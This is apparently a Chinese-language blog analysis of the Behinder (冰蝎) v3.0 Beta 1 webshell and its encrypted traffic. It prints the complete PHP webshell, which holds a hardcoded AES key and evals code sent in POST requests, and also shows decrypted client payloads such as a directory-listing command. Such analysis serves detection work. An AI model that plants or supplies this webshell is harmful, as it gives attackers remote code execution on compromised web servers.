前言 昨天冰蝎Behinder_v3.0 Beta 1发布,相较于冰蝎2.0做了一些修改,咱们先来看一下官方的更新说明: 2020.8.16 v3.0Beta 1 更新日志 1.去除动态密钥协商机制,采用预共享密钥,全程无明文交互,密钥格式为md5('admin')[0:16]; 2.增加了插件机制,可开发安装自定义扩展插件; 3.UI框架由awt改为javafx,重写了大量逻辑; 4.增强了内网穿透功能,在原有的基于HTTP的socks5隧道基础上,增加了单端口转发功能,可一键将内网端口映射至VPS或者本机端口。 分析 在流量层,最重要的改动就是修改了原来明文认证密码并生成aes加密key的过程,将webshell连接密码md5加密后取前16位作为加密流量的密钥,脚本端变化(以php为例): <?php @error_reporting(0); session_start(); if ($_SERVER['REQUEST_METHOD'] === 'POST') { $key='e45e329feb5d925b'; $_SESSION['k']=$key; $post=file_get_contents('php://input'); if(!extension_loaded('openssl')) { $t='base64_'.'decode'; $post=$t($post.''); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, 'AES128', $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p.'');}} @call_user_func(new C(),$params); } ?> 可以看到,这里将key写死了,直接使用这个key解密客户端传过来的aes流量,这个key的值是md5之后取前16位的rebeyond,也是冰蝎的默认密码: 接下来抓包看一下,在双击添加的webshell之后,客户端总共发送了4个数据包: 我们使用key将流量解密,跟冰蝎2.0一样,解aes后再解一次base64: 解密之后的post数据: @error_reporting(0);function main($content){ $result = array(); $result['status'] = base64_encode('success'); $result['msg'] = base64_encode($content); $key = $_SESSION['k']; echo encrypt(json_encode($result),$key);}function encrypt($data,$key){ if(!extension_loaded('openssl')) { for($i=0;$i<strlen($data);$i++) { $data[$i] = $data[$i]^$key[$i+1&15]; } return $data; } else { return openssl_encrypt($data, 'AES128', $key); }}$content='660aeec1-574f-45a6-9936-a27b0a7ce173';main($content); function main($mode, $path = '.', $content = '', $charset = '',$newpath) { ... } function encrypt($data,$key) { ... } }$mode='list';$path='E:\phpStudy\WWW/'; main($mode,$path); |
|